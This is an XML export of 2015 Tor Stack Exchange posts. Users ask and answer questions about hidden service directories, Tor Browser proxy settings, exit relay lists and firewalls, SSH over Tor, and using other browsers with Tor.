  <row Id="6746" PostTypeId="2" ParentId="6741" CreationDate="2015-04-29T01:06:26.027" Score="1" Body="&lt;p&gt;Yes, with the current design it can enumerate a small part of the hidden services. Assuming no attacks, each hidden service stores its descriptor to 6 HSDirs, so the probability is 6/#HSDirs &lt;em&gt;for any moment in time&lt;/em&gt;. The hidden service picks a new set of HSDirs every 24 hours, so the probability of a hidden service being listed on a particular HSDir increases dramatically the longer you run your hidden service. New designs are in the works to make this infeasible.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastEditorUserId="7222" LastEditDate="2015-04-29T21:18:56.483" LastActivityDate="2015-04-29T21:18:56.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6747" PostTypeId="1" CreationDate="2015-04-29T01:59:25.020" Score="0" ViewCount="450" Body="&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/a/6746/7222&quot;&gt;This answer&lt;/a&gt; references the number of hidden service directories. How can I find out how many HSDir nodes there are?&lt;/p&gt;&#xA;" OwnerUserId="7222" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2017-07-24T15:19:24.093" Title="How many HSDir nodes are there?" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6748" PostTypeId="2" ParentId="6747" CreationDate="2015-04-29T01:59:25.020" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://torstatus.blutmagie.de/&quot; rel=&quot;nofollow&quot;&gt;https://torstatus.blutmagie.de/&lt;/a&gt; lists the number of V2Dir nodes (currently 4174).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless I'm reading the wrong statistic, which is possible.&lt;/p&gt;&#xA;" OwnerUserId="7222" LastActivityDate="2015-04-29T01:59:25.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6751" PostTypeId="1" CreationDate="2015-04-29T22:13:06.377" Score="-3" ViewCount="263" Body="&lt;p&gt;My friend was trolling on a forum and now he got banned.&#xA;Now they banned my new account too.&#xA;I tried to use Tor, I disabled scripts-But it doesn't help, They can still detect my computer.&#xA;What else do i have to do?&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="7312" LastActivityDate="2015-04-30T12:29:42.743" Title="My identity is exposed on a forum when using tor" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ClosedDate="2015-04-30T22:20:31.987" ContentLicense="CC BY-SA 3.0" />
  <row Id="6753" PostTypeId="2" ParentId="6751" CreationDate="2015-04-30T12:29:42.743" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Quit trolling&lt;/li&gt;&#xA;&lt;li&gt;The forum owners may have decided to block all Tor users, or certain exit nodes.&lt;/li&gt;&#xA;&lt;li&gt;The forum owners may be  blocking Tor users with a specific browser/OS profile.&lt;/li&gt;&#xA;&lt;li&gt;See point 1, this is a poor use of Tor.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7315" LastActivityDate="2015-04-30T12:29:42.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6757" PostTypeId="2" ParentId="6744" CreationDate="2015-04-30T19:27:24.660" Score="1" Body="&lt;p&gt;Because Tor is project against mass surveillance activities carried out by various agencies which actually deprive us from our freedom. &#xA;Agencies like EFF (electronic Frontier foundation ) protest against all the acts that go against such anonymity tool where all users have full freedom to say what they want. &#xA;Moreover it is also used by many governments for their confidential works.&lt;/p&gt;&#xA;" OwnerUserId="6772" LastEditorDisplayName="user66" LastEditDate="2015-05-04T14:46:37.877" LastActivityDate="2015-05-04T14:46:37.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6758" PostTypeId="1" CreationDate="2015-04-30T19:38:03.277" Score="2" ViewCount="2170" Body="&lt;p&gt;I use Tor Browser for I2P. In the new version 4.5 I can't find TorButton. How do I change the proxy settings for using i2p, http 4444 etc. I don't want to disable it because &quot;TBB has a Torbutton extension that &quot;disables many types of active content &quot; right now im just testing in &lt;code&gt;about:config&lt;/code&gt; how to deal with this. I also want to know the risk of changing proxy settings. &lt;/p&gt;&#xA;" OwnerUserId="7319" LastEditorUserId="88" LastEditDate="2015-04-30T22:12:17.600" LastActivityDate="2016-09-10T15:48:28.873" Title="tor browser 4.5, change proxy settings" Tags="|tor-browser-bundle|network-configuration|i2p|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6759" PostTypeId="2" ParentId="6758" CreationDate="2015-04-30T22:17:13.363" Score="1" Body="&lt;p&gt;You can make the settings in &lt;code&gt;about:config&lt;/code&gt;. Just enter it into the address bar and read+confirm the warning. When the config page is open, search for &lt;code&gt;network.proxy&lt;/code&gt;. You'll see &lt;code&gt;network.proxy.socks_port&lt;/code&gt; set to 9150. You can double-click on &lt;code&gt;network.proxy.http_port&lt;/code&gt; and set it to 4444. You should also make some settings for other proxies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you're changed the settings, Tor Browser will immediately use it.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-04-30T22:17:13.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6760" PostTypeId="2" ParentId="4879" CreationDate="2015-05-01T11:37:23.250" Score="0" Body="&lt;p&gt;Your question is probably duplicate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, here is answer: &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here: &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/IsolatingProxy&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/IsolatingProxy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The clear solution, anyway, is to use separate station, second computer for Tor, it is Isolating Proxy.&lt;/p&gt;&#xA;" OwnerUserId="7325" LastActivityDate="2015-05-01T11:37:23.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6761" PostTypeId="1" CreationDate="2015-05-02T10:47:00.093" Score="5" ViewCount="154" Body="&lt;p&gt;Since this has not been directly asked yet it seems, I thought we might as well address the elephant in the room.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cloudflare prevents access to the CSS, images and javascript of the stackexchange sites unless a cloudflare captcha is entered to be able to access the resources hoted on cdn.sstatic.net.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do we work with that ? Should we get a stackexchange admin involved so maybe they at least address the fact that static content is hosted elsewhere, with cloudflare protection ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fun fact: to ask this question I had to login. Loging in seems javascript based, so I had to get *.sstatic.net to bypass the tor socks proxy.&lt;/p&gt;&#xA;" OwnerUserId="7327" LastActivityDate="2015-07-19T19:43:16.940" Title="How do I browse the tor stackexchange from tor?" Tags="|cloudflare|captcha|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6762" PostTypeId="2" ParentId="6744" CreationDate="2015-05-02T11:19:21.140" Score="1" Body="&lt;p&gt;well, for example in China Tor is blocked! you can also call it censorship or banning... the only way to use Tor in China is over a &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow&quot;&gt;Bridge&lt;/a&gt;!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;maybe there is no law against Tor because it is anyway nearly impossible (if the usage of Tor is done right) to locate/catch the persons who just use Tor; so they will start their investigation against critic persons at other points!&lt;/li&gt;&#xA;&lt;li&gt;my guess is also with an explicit law against Tor they will suffer a &lt;a href=&quot;https://en.wikipedia.org/wiki/Streisand_effect&quot; rel=&quot;nofollow&quot;&gt;Streisand-effect&lt;/a&gt;!&lt;/li&gt;&#xA;&lt;li&gt;and if there were a law against Tor the government have to justify why their agencies use Tor and normal people get punished for this...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5234" LastActivityDate="2015-05-02T11:19:21.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6763" PostTypeId="2" ParentId="4847" CreationDate="2015-05-02T14:17:15.970" Score="0" Body="&lt;p&gt;Starting with &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-45-released&quot; rel=&quot;nofollow&quot;&gt;TBB 4.5&lt;/a&gt;, you can configure the level of security using a simple slider. This especially applies to JS settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the highest setting, IP check does not complain about enabled DOM storage.&lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastActivityDate="2015-05-02T14:17:15.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6765" PostTypeId="1" CreationDate="2015-05-02T15:48:06.643" Score="0" ViewCount="582" Body="&lt;p&gt;I'm new to hidden service sites. There are some hidden wiki online, but most of the onion-links are broken, site doesn't existe anymore. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a hidden wiki or something else with working links? How do you find your sites? Is there a list of stats which sites has the most users? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tyvm!&lt;/p&gt;&#xA;" OwnerUserId="7329" LastActivityDate="2015-07-02T21:45:34.107" Title="Linsk to hidden service sites are broken" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ClosedDate="2015-07-03T08:20:36.223" ContentLicense="CC BY-SA 3.0" />
  <row Id="6766" PostTypeId="1" AcceptedAnswerId="6772" CreationDate="2015-05-02T17:51:37.147" Score="2" ViewCount="228" Body="&lt;p&gt;How long does it take for an IP listed here (&lt;a href=&quot;https://collector.torproject.org/recent/exit-lists/&quot; rel=&quot;nofollow&quot;&gt;https://collector.torproject.org/recent/exit-lists/&lt;/a&gt;) to be removed from the list after a node has been shut down?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it normal to have to wait more than a day?&lt;/p&gt;&#xA;" OwnerUserId="5310" LastActivityDate="2015-05-04T14:07:08.000" Title="How long does it take for an IP to be removed from the exit nodes list?" Tags="|exit-relays|network-health|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6767" PostTypeId="2" ParentId="6477" CreationDate="2015-05-02T19:54:53.893" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;When data is sent through a series of Onion Routers, a &lt;code&gt;Virtual Circuit&lt;/code&gt; is made. The data travels back through the same virtual circuit.&lt;/li&gt;&#xA;&lt;li&gt;The exit node knows the response is for what forward message and then does the required action based on which virtual circuit sent that message.&lt;/li&gt;&#xA;&lt;li&gt;Alice has a &lt;code&gt;session key&lt;/code&gt; each for Bob and Rob. So they encrypt the data on its way back to Alice using their respective keys, making Alice the only one to decrypt all the layers and access the data.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5427" LastActivityDate="2015-05-02T19:54:53.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6770" PostTypeId="2" ParentId="6765" CreationDate="2015-05-03T17:49:26.317" Score="0" Body="&lt;p&gt;That situation is very common with .onion sites. The often illegal nature of many such sites cause them to go offline without notice. Since nobody knows who is operation an .onion site, the operator can in most cases not be contacted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd argue that this is not a question related to Tor. The Tor network online provides the infrastructure to run .onion sites, it does not run them itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no current and comprehensive list of .onion sites I know of. And it is hardly possible such a list can and will ever exist.&lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastActivityDate="2015-05-03T17:49:26.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6771" PostTypeId="1" AcceptedAnswerId="6776" CreationDate="2015-05-03T21:54:42.387" Score="1" ViewCount="785" Body="&lt;p&gt;The &lt;a href=&quot;https://iridiumbrowser.de&quot; rel=&quot;nofollow&quot;&gt;Iridium Browser&lt;/a&gt; looks like a viable competitor to the Firefox-based component in TorBrowser. How would someone use Iridium with the Tor network?&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2015-05-05T22:55:00.920" Title="How would someone use the Iridium Browser with Tor?" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6772" PostTypeId="2" ParentId="6766" CreationDate="2015-05-04T14:07:08.000" Score="3" Body="&lt;p&gt;It takes about 1 day for an IP address to be removed from the most recent exit list, but that directory contains exit lists published in the past 3 days.  So, that's 4 days for an IP address to disappear from that directory after stopping the relay.  However, there's also &lt;a href=&quot;https://collector.torproject.org/archive/exit-lists/&quot; rel=&quot;nofollow&quot;&gt;https://collector.torproject.org/archive/exit-lists/&lt;/a&gt; which archives exit addresses forever, though in compressed form and hence probably harder to process.&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2015-05-04T14:07:08.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6773" PostTypeId="2" ParentId="6744" CreationDate="2015-05-04T18:06:57.340" Score="2" Body="&lt;p&gt;Simple explanation could be - for the same reason that although it is not illegal to keep secrets, it becomes illegal if the secret endangers a person / place / nation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;another example - courts are using facebook posts &amp;amp; punishing people who put up illegal posts but are not banning facebook itself (&lt;a href=&quot;https://duckduckgo.com/?q=cases%20against%20facebook%20posts&quot; rel=&quot;nofollow&quot;&gt;a search string&lt;/a&gt;, and read &lt;a href=&quot;http://www.outsidethebeltway.com/judge-rules-that-what-you-post-on-facebook-can-be-used-as-evidence-against-you/&quot; rel=&quot;nofollow&quot;&gt;this ruling&lt;/a&gt; by a judge).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TOR or any other security / privacy enhancing tool is just that, a tool. Banning its usage is not going to stop it. Also, it is an extremely bad PR from a nation's point of view (if the leaders want to be elected again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, theoretically speaking, it is far more better to be able to listen to a secret than trying to stop speaking at all. People will NOT stop sharing secrets, they will just go elsewhere, leaving you behind (bad case for secret services)!&lt;/p&gt;&#xA;" OwnerUserId="7347" LastActivityDate="2015-05-04T18:06:57.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6774" PostTypeId="1" CreationDate="2015-05-05T06:56:26.937" Score="3" ViewCount="303" Body="&lt;p&gt;I recently set up a Tor exit relay on Ubuntu 14.04.2 LTS server, using a VPS.  It's running fine, with an average throughput of about 1 MB/s, and shows up OK on Tor Atlas and Tor Globe.  To try to avoid possible DMCA takedown notices to my VPS provider, I set it up using Tor's restricted exit policy, and set the ufw firewall to allow in only the corresponding ports.  To restrict possible torrent traffic further, I found and implemented a set of iptables rules that look for and drop traffic containing characteristic BitTorrent signatures.  At that point, it all worked fine, and Globe and Atlas showed the relay bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the server became infected through a WordPress/Apache site that I also ran on it, and provoked comment spam complaints, so I rebuilt it, dropping the WordPress site this time.  I set up Tor as before, but this time I thought I would be clever and set up the firewall to drop UDP traffic on most of the ports except the Tor-related ones (9001 and 9030), again to suppress torrent traffic.  In fact, I went even further and explicitly denied all outgoing ports as well, allowing only those in the exit policy.   Now the relay (PercontorQuick) still shows up on Atlas and Globe (flags Exit / Fast / Guard / Running / Stable / Valid), but no bandwidth data is displayed, just the message: &quot;No data available :(&quot;.  My Linode dashboard still shows a healthy 1 MB/s throughput, so the relay is actually working.  At this point, it has been running for over 4 days since the last restart, and quite a few days before that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also removed the UDP restriction on ports 53, 80, and 443, incoming and outgoing, with no effect.  Just to be clear, I have restarted Tor and reloaded the firewall, obviously.  Equally obviously, I have been too clever.  Can anyone please tell me how to restore the provision of data to the Globe/Atlas bandwidth display?  If not, I guess I will just have to reset the firewall and go through the tedious process of setting it up again, without fussing about UDP traffic this time.  Or just do without the Globe/Atlas data.&lt;/p&gt;&#xA;" OwnerUserId="7352" LastActivityDate="2015-11-26T09:31:55.543" Title="Exit Relay Bandwidth Data not showing on Tor Globe or Atlas" Tags="|exit-relays|bandwidth|atlas|" AnswerCount="0" CommentCount="3" ClosedDate="2019-05-12T20:01:47.750" ContentLicense="CC BY-SA 3.0" />
  <row Id="6775" PostTypeId="2" ParentId="6447" CreationDate="2015-05-05T13:51:42.467" Score="0" Body="&lt;p&gt;By default SSL is not used. But if you like to, you can get a cert and use it on top the tor encryption. Its a ongoing discussion, whether or not SSL should be used. &lt;a href=&quot;https://blog.torproject.org/blog/facebook-hidden-services-and-https-certs&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; are some facts and thoughts about it. &lt;/p&gt;&#xA;" OwnerUserId="5191" LastActivityDate="2015-05-05T13:51:42.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6776" PostTypeId="2" ParentId="6771" CreationDate="2015-05-05T22:55:00.920" Score="3" Body="&lt;p&gt;Because Iridum is based on Chromium, &lt;a href=&quot;https://tor.stackexchange.com/questions/3435/how-do-i-configure-chrome-to-use-tor&quot;&gt;instructions for using Chrome w/ Tor should work&lt;/a&gt;.  Of course - just like using Chrome/Chromium with Tor is not recommended, I wouldn't recommend using Iridium with Tor either.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For one matter: you'll stand out as one of the very few people (only?) using Iridium over Tor.  Your cross-domain and session unlinkability is gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, Maintaining Chromium forks is &lt;em&gt;hard&lt;/em&gt;. Chromium has no Extended Support Release cycle. This introduces a difficult dependency cycle of [BugFix 1] -&gt; [Major Release] -&gt; [BugFix 2].  To get the second fix, you have to either accept the Major Release (including auditing the entire thing for proxy issues, fingerprinting, or cross-domain leakage) or backporting the BugFix.  Other attempts at maintaining a secure fork of Chromium (Aviator) did not go well. &lt;/p&gt;&#xA;" OwnerUserId="43" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-05-05T22:55:00.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6777" PostTypeId="2" ParentId="6729" CreationDate="2015-05-05T23:04:17.120" Score="1" Body="&lt;p&gt;So I gues to start off: since 0.2.6.1-alpha - 2014-10-30 tor relays and clients are required to support ntor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- Remove the --disable-curve25519 configure option. Relays and&#xA;  clients now are required to support curve25519 and the&#xA;  ntor handshake.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Furthermore, since 0.2.4.21 - 2014-02-28 all circuits will contain at least one node that supports ntor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;o Major features (client security):&#xA; - When we choose a path for a 3-hop circuit, make sure it contains&#xA;   at least one relay that supports the NTor circuit extension&#xA;   handshake. Otherwise, there is a chance that we're building&#xA;   a circuit that's worth attacking by an adversary who finds&#xA;   breaking 1024-bit crypto doable, and that chance changes the game&#xA;   theory. Implements ticket 9777.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If a relay supports ntor, clients and other relays will use that to talk to it.  This is decided at circuit creation (or before circuit creation?). To try and speak TAP to an ntor-supporting relay would require modifications to the source code.&lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2015-05-05T23:04:17.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6778" PostTypeId="2" ParentId="6454" CreationDate="2015-05-05T23:16:40.560" Score="1" Body="&lt;p&gt;I'm not entirely sure what you mean by 'the identity of a router retrieved from the consensus'.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But a few guesses:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://consensus-health.torproject.org/consensus-health.html&quot; rel=&quot;nofollow&quot;&gt;https://consensus-health.torproject.org/consensus-health.html&lt;/a&gt; will show the same data as the consensus, but in a friendly format.  In particular, in the gigantic table, the left-most column contains a short identifier, and underneath it in tiny font is the entire fingerprint.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://atlas.torproject.org/#details/C0EDB08D7540D1DD3CA69809ED17D979F51B66E3&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt; and &lt;a href=&quot;https://globe.torproject.org/#/relay/C0EDB08D7540D1DD3CA69809ED17D979F51B66E3&quot; rel=&quot;nofollow&quot;&gt;Globe&lt;/a&gt; let you search for a relay and get their fingerprint&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Finally, the base64 occurring in the second spot in the &quot;r&quot; line in the consensus is the base64 encoding of the raw hex of the fingerprint.  So for mine (rittervg, as shown above) you can copy &quot;wO2wjXVA0d08ppgJ7RfZefUbZuM&quot; out of the consensus and see the fingerprint like so (not counting endianness issues):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo &quot;wO2wjXVA0d08ppgJ7RfZefUbZuM&quot; | base64 -d | hexdump&#xA;base64: invalid input&#xA;0000000 edc0 8db0 4075 ddd1 a63c 0998 17ed 79d9&#xA;0000010 1bf5 e366&#xA;0000014&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="43" LastActivityDate="2015-05-05T23:16:40.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6785" PostTypeId="1" CreationDate="2015-05-07T09:10:39.190" Score="0" ViewCount="4681" Body="&lt;p&gt;My friend has Windows VPS and he used Windows Remote Desktop tool and it was OK, but when he tried Tails, it was not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you have some other advice than me, he didn't succeed with my advice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make an SSH conection over Tor you'll need a small program called &lt;code&gt;connect.c&lt;/code&gt;. It is available in many Linux distros in the pakage named &lt;code&gt;connect-proxy&lt;/code&gt; or &lt;code&gt;connect&lt;/code&gt;.&#xA;You can try next command in tails terminal: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt-get install connect-proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After all of that, to run SSH over Tor, run the following command. Substitute your username for &lt;code&gt;mammamia&lt;/code&gt; and the IP address you wish to connect for &lt;code&gt;200.20.200.20&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ssh -l mammamia@200.20.200.20 -o ProxyCommand=&quot;/usr/bin/connect -4 -S localhost:9050 %h %p&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7376" LastEditorUserId="88" LastEditDate="2016-06-21T07:19:50.143" LastActivityDate="2017-02-16T16:19:01.817" Title="how to use tails for ssh connection to windows vps?" Tags="|windows|tails|ssh|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6787" PostTypeId="1" CreationDate="2015-05-07T12:56:45.023" Score="0" ViewCount="362" Body="&lt;p&gt;Is there any solution to run, on windows, TorBrowser (firefox.exe) from command line and set the torrc configuration files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or can i set the ExitNote from commandline?&lt;/p&gt;&#xA;" OwnerUserId="7380" LastActivityDate="2015-05-07T12:56:45.023" Title="TorBrowser commandline set torrc" Tags="|configuration|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6788" PostTypeId="1" CreationDate="2015-05-07T20:28:42.307" Score="1" ViewCount="1996" Body="&lt;p&gt;Is there any way to use FaceBook with JavaScript disabled? I would like to use FaceBook anonymously with Tor but FB requires JavaScript to be enabled and I read that it can be used to track my identity so in this case Tor wouldn't protect my privacy. Is it possible to safely use FaceBook with Tor? If not does that mean that nobody is and never will be anonymous to FaceBook?&lt;/p&gt;&#xA;" OwnerUserId="7383" LastActivityDate="2017-05-05T16:33:33.300" Title="How to use FaceBook anonymously with Tor? Is it possible to use FaceBook without JavaScript?" Tags="|anonymity|javascript|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6789" PostTypeId="2" ParentId="1768" CreationDate="2015-05-07T22:15:16.907" Score="0" Body="&lt;p&gt;Below just my though, PollyPocket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could define firewall rules to drop all incoming packets to your sshd port except those originating from defined tor exit nodes. Then you could use these exit nodes only to connect to your sshd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue here is a lack of vhost support by sshd so you cannot be sure whether an incoming connection originates from tor or an exit node itself (in case an exit node acts as a clearnet proxy too) as long as you don't control the exit node yourself. A workaround would be to allow only these exit nodes hosted securely by you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interesting question very much. Hope to see further discussion.&lt;/p&gt;&#xA;" OwnerUserId="7384" LastActivityDate="2015-05-07T22:15:16.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6791" PostTypeId="2" ParentId="1350" CreationDate="2015-05-08T13:27:41.340" Score="0" Body="&lt;p&gt;Installing plugins may compromise your anonymity which is why Tor doesn't come with any... until someone writes an open source, privacy-verified plugin to deal with javascript popups you can either disable javascript or risk installing a pop up blocking plugin which may reveal your computer's identity&lt;/p&gt;&#xA;" OwnerUserId="7390" LastActivityDate="2015-05-08T13:27:41.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6792" PostTypeId="1" AcceptedAnswerId="6798" CreationDate="2015-05-08T17:51:39.787" Score="0" ViewCount="303" Body="&lt;p&gt;I know how tor works but I have this question. Lets say that the user which uses tor has done something bad with some website. In website log there would be ip which did this thing. If they try find the pc which has this ip they will found it and they will figure out that its exit node of tor. Then they will try to found the previous pc from where this request was sent and they will find it. They will have to do that thing several times and eventually they will find you. Can you please which part of this story is wrong? And one more question when exit nodes are found why police is not shutting it down or arresting the man who owns that pc? thank you. &lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2015-05-13T15:40:38.807" Title="Why can't user be identified or located if he uses tor" Tags="|tor-browser-bundle|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6794" PostTypeId="2" ParentId="6788" CreationDate="2015-05-08T21:00:09.523" Score="2" Body="&lt;p&gt;You can use the facebook adress onion : &#xA;&lt;a href=&quot;https://www.facebookcorewwwi.onion/&quot; rel=&quot;nofollow&quot;&gt;https://www.facebookcorewwwi.onion/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you still need Javascript.&lt;/p&gt;&#xA;" OwnerUserId="7396" LastActivityDate="2015-05-08T21:00:09.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6795" PostTypeId="2" ParentId="6742" CreationDate="2015-05-08T21:05:21.050" Score="1" Body="&lt;p&gt;Ohai !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use chromium with tor like that (look man) :&#xA;chromium --proxy-server=&quot;socks5://127.0.0.1:9050&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should work :&gt;&lt;/p&gt;&#xA;" OwnerUserId="7396" LastActivityDate="2015-05-08T21:05:21.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6796" PostTypeId="2" ParentId="6785" CreationDate="2015-05-08T21:09:37.087" Score="0" Body="&lt;p&gt;If you want to &lt;code&gt;torify&lt;/code&gt; ssh connexion ... use torify or torsocks command&#xA;(man torify / man torsocks)&#xA;Or put that in &lt;code&gt;/etc/ssh/ssh_config&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ProxyCommand socat - SOCKS4A:localhost:%h:%p,socksport=9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7396" LastEditorUserId="88" LastEditDate="2016-06-21T07:20:36.970" LastActivityDate="2016-06-21T07:20:36.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6797" PostTypeId="1" CreationDate="2015-05-09T11:28:04.880" Score="0" ViewCount="1700" Body="&lt;p&gt;I downloaded recently Tor and when trying to access a specific website I get the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Firstly, a page titled &quot;One more step, Please complete the security check to access (the website)&quot;, with a captcha box. In order to see the captcha word presented properly, I have to lower Tor Security Setting to Low. On this page, the following message is also found:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What can I do to prevent this in the future? If you are on a personal&#xA;  connection, like at home, you can run an anti-virus scan on your&#xA;  device to make sure it is not infected with malware. If you are at an&#xA;  office or shared network, you can ask the network administrator to run&#xA;  a scan across the network looking for misconfigured or infected&#xA;  devices.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Then, after entering the captcha word, the url returns a &quot;404 page not found&quot; error.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The URL works fine when using other browsers, without the need to enter any captcha words, I can get straight into it. I'm not a computer expert at all and reading the answers to some of the other questions on the subject didn't really help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7398" LastActivityDate="2015-07-04T15:45:58.693" Title="URL returns 404 error" Tags="|website|url|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
